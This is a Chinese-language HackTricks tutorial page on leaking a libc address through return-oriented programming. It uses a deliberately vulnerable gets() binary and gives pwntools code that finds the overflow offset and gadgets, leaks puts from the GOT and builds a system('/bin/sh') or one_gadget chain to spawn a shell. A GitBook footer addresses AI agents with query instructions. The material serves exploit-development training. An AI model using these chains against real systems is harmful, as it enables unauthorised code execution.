> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address.md).

# Leaking libc address with ROP

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 快速总结

1. **找到**溢出**的偏移量**
2. **找到** `POP_RDI` 机关、`PUTS_PLT` 和 `MAIN` 机关
3. 使用前述机关**泄漏puts或其他libc函数的内存地址**并**找到libc版本**（[下载地址](https://libc.blukat.me)）
4. 利用库，**计算ROP并利用它**

## 其他教程和二进制文件以供练习

本教程将利用此教程中提出的代码/二进制文件进行利用：<https://tasteofsecurity.com/security/ret2libc-unknown-libc/>\
其他有用的教程：<https://made0x78.com/bseries-ret2libc/>，<https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html>

## 代码

文件名：`vuln.c`

```c
#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
```

```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```

## ROP - 泄露 LIBC 模板

下载 exploit 并将其放置在易受攻击的二进制文件相同的目录中，并向脚本提供所需的数据：

{% content-ref url="/pages/LrDIer52nq3ZG2Q033WS" %}
[Leaking libc - template](/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
{% endcontent-ref %}

## 1- 查找偏移量

在继续利用之前，模板需要一个偏移量。如果未提供任何偏移量，它将执行必要的代码来查找它（默认为 `OFFSET = ""`）:

```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```

**执行** `python template.py` 会打开一个 GDB 控制台，程序会崩溃。在该 **GDB 控制台** 中执行 `x/wx $rsp` 以获取将要覆盖 RIP 的 **字节**。最后在 **python** 控制台中获取 **偏移量**：

```python
from pwn import *
cyclic_find(0x6161616b)
```

![](/files/j5enGjkbHAiSzjflW63j)

在找到偏移量（在本例中为40）后，使用该值更改模板中的OFFSET变量。\
`OFFSET = "A" * 40`

另一种方法是使用：`pattern create 1000` -- *执行直到ret* -- 从 GEF 中执行 `pattern seach $rsp`。

## 2- 查找Gadgets

现在我们需要在二进制文件中找到ROP gadgets。这些ROP gadgets将有助于调用`puts`来查找正在使用的**libc**，并稍后**启动最终的攻击**。

```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
```

`PUTS_PLT` 用于调用 **puts 函数**。\
`MAIN_PLT` 用于在一次交互后再次调用 **主函数** 以便再次 **利用** 溢出（无限次利用）。**它用于在每个 ROP 结尾处再次调用程序**。\
**POP\_RDI** 用于向被调用函数 **传递** 参数。

在这一步中，您无需执行任何操作，因为在执行过程中 pwntools 将找到一切。

## 3- 查找 libc 库

现在是时候找出正在使用的 **libc** 库的版本。为此，我们将 **泄漏** **内存中 puts 函数** 的 **地址**，然后我们将 **搜索** puts 版本所在的库版本。

```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```

为了做到这一点，执行的代码中最重要的一行是：

```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```

这将发送一些字节，直到**覆盖** **RIP** 可能为止：`OFFSET`。\
然后，它将设置**gadget** `POP_RDI`的**地址**，以便下一个地址（`FUNC_GOT`）将被保存在**RDI**寄存器中。这是因为我们想要**调用 puts** 并将`PUTS_GOT`的**地址**作为参数传递给它，因为内存中 puts 函数的地址保存在`PUTS_GOT`指向的地址中。\
之后，将调用`PUTS_PLT`（带有`PUTS_GOT`在**RDI**中），因此 puts 将**读取**`PUTS_GOT`中的内容（**内存中 puts 函数的地址**）并将其**打印出来**。\
最后，**再次调用 main 函数**，以便我们可以再次利用溢出。

这样，我们已经**欺骗 puts 函数**将**打印**出**puts**函数的**内存中的地址**（位于**libc**库中）。现在我们有了该地址，我们可以**查找正在使用的 libc 版本**。

![](/files/ndiu7FmbJnKxtAYaZFOv)

由于我们正在**利用**一些**本地**二进制文件，**不需要**弄清楚正在使用的**libc**版本（只需在`/lib/x86_64-linux-gnu/libc.so.6`中找到该库）。\
但是，在远程利用案例中，我将在这里解释如何找到它：

### 3.1- 搜索 libc 版本（1）

您可以在网页上搜索正在使用的库：[https://libc.blukat.me/](https://libc.blukat.me)\
它还将允许您下载发现的**libc**版本

![](/files/ve8dgJgxPO6hAiIxYV1f)

### 3.2- 搜索 libc 版本（2）

您也可以执行以下操作：

* `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database`
* `$ ./get`

这将需要一些时间，请耐心等待。\
为了使其工作，我们需要：

* Libc 符号名称：`puts`
* 泄漏的 libc 地址：`0x7ff629878690`

我们可以找出最有可能使用的**libc**。

```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```

我们得到2个匹配项（如果第一个不起作用，您应该尝试第二个）。下载第一个：

```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```

### 3.3- 泄漏的其他函数

将`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`中的libc复制到我们的工作目录。

```python
puts
printf
__libc_start_main
read
gets
```

## 4- 寻找基于libc的地址并利用

在这一点上，我们应该知道使用的libc库。由于我们正在利用一个本地二进制文件，我将仅使用:`/lib/x86_64-linux-gnu/libc.so.6`

因此，在`template.py`的开头将**libc**变量更改为：`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`

给出**libc库**的**路径**，其余的**利用将自动计算**。

在`get_addr`函数内，将计算**libc的基地址**：

```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```

{% hint style="info" %}
请注意，**最终的libc基址必须以00结尾**。如果不是这种情况，您可能已经泄漏了一个不正确的库。
{% endhint %}

然后，函数`system`的地址和字符串\_"/bin/sh"\_的**地址**将从**libc的基地址**中**计算**出来，并给出**libc库**。

```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```

最后，将准备发送/bin/sh执行利用程序：

```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction
```

让我们解释这个最终的ROP。\
最后一个ROP (`rop1`) 结束时再次调用了 main 函数，然后我们可以再次利用**溢出**（这就是为什么 `OFFSET` 再次出现在这里）。然后，我们想要调用 `POP_RDI` 指向 *"/bin/sh"* 的**地址**（`BINSH`），并调用 **system** 函数（`SYSTEM`），因为 *"/bin/sh"* 的地址将作为参数传递。\
最后，**调用 exit 函数的地址**，以便进程**正常退出**，不会生成任何警报。

**这样，利用程序将执行一个 \_/bin/sh**\_\*\* shell。\*\*

![](/files/pUesaLNgzJTGuSbmgbQs)

## 4(2)- 使用 ONE\_GADGET

您还可以使用 [**ONE\_GADGET** ](https://github.com/david942j/one_gadget)来获取一个 shell，而不是使用 **system** 和 **"/bin/sh"**。**ONE\_GADGET** 将在 libc 库中找到一种方法，只需一个 **ROP 地址**即可获取一个 shell。\
然而，通常会有一些约束条件，最常见且易于避免的是 `[rsp+0x30] == NULL`。由于您可以控制 **RSP** 中的值，因此只需发送一些额外的 NULL 值，就可以避免这个约束条件。

![](/files/miGAmAp7DSN8ZgVXgnuE)

```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```

## EXPLOIT FILE

您可以在这里找到利用此漏洞的模板：

{% content-ref url="/pages/LrDIer52nq3ZG2Q033WS" %}
[Leaking libc - template](/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
{% endcontent-ref %}

## 常见问题

### MAIN\_PLT = elf.symbols\['main'] 未找到

如果找不到"main"符号。那么您可以找到主代码所在的位置：

```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```

并手动设置地址：

```python
MAIN_PLT = 0x401080
```

### Puts未找到

如果二进制文件没有使用Puts，您应该检查是否使用了

### `sh: 1: %s%s%s%s%s%s%s%s: not found`

如果在创建所有利用后发现这个**错误**：`sh: 1: %s%s%s%s%s%s%s%s: not found`

尝试**从"/bin/sh"的地址中减去64个字节**：

```python
BINSH = next(libc.search("/bin/sh")) - 64
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
